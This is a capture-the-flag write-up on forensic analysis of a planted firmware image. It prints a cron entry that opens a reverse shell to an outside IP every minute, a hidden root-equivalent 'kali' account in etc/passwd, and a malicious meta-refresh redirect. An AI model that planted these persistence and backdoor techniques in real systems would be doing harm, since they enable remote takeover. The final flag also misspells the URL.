

## Dark Web Firmware 1

After searching for hours and cat everything, got something in etc/crontab/kali. How do I know? Bruteforce all the ip address

```
(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads/CustomFirmware/CustomFirmware-us-up-ver1-2-1-P1[20220715-rel19099]_2022-07-15_17.44.43.bin.extracted/etc/crontabs]$ cat kali
@reboot (echo '* * * * * bash -i >& /dev/tcp/109.23.44.78/9989 0>&1' | crontab -)
```

Flag: 109.23.44.78

## Dark Web Firmware 2

This one I just pray to God and got it. Find the username in common linux file. (do some research)

```
(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads/CustomFirmware/CustomFirmware-us-up-ver1-2-1-P1[20220715-rel19099]_2022-07-15_17.44.43.bin.extracted]$ cat etc/passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
admin:x:1000:0:admin:/var:/bin/false
guest::2000:65534:guest:/var:/bin/false
kali:x:0:0:root:/root:/bin/ash

(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads/CustomFirmware/CustomFirmware-us-up-ver1-2-1-P1[20220715-rel19099]_2022-07-15_17.44.43.bin.extracted]$ ls etc/crontabs/
cat etc/crontabs/*
kali root
@reboot (echo '* * * * * bash -i >& /dev/tcp/109.23.44.78/9989 0>&1' | crontab -)
```

Flag: Kali

## Dark Web Firmware 3

It mentions about website. Search in www folder

```

(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads/CustomFirmware/CustomF
_us-up-ver1-2-1-P1[20220715-rel19099]_2022-07-15_17.44.43.bin.extracted]
$ ls -la www/
total 0
drwxrwxrwx 1 zeqzoq zeqzoq 4096 Dec 20 07:26 .
drwxrwxrwx 1 zeqzoq zeqzoq 4096 Dec 20 23:08 ..
drwxrwxrwx 1 zeqzoq zeqzoq 4096 Jul 15 2022 cgi-bin
drwxrwxrwx 1 zeqzoq zeqzoq 4096 Jul 15 2022 compress
-rwxrwxrwx 1 zeqzoq zeqzoq 323 Dec 20 07:26 index.html
drwxrwxrwx 1 zeqzoq zeqzoq 4096 Jul 15 2022 webpages

(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads/CustomFirmware/CustomF
_us-up-ver1-2-1-P1[20220715-rel19099]_2022-07-15_17.44.43.bin.extracted]
$ cat www/index.html
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/D
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!--Add Malicious Redirect for funsies-->
<meta http-equiv="refresh" content="0; URL=http://tinyurl.com/notmalware" />
</head>
</html>

```

Flag: <http://tinurl.com/notmalware>

